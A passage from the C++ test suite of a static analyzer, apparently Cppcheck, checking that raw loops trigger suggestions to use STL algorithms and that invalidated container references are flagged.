#10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n 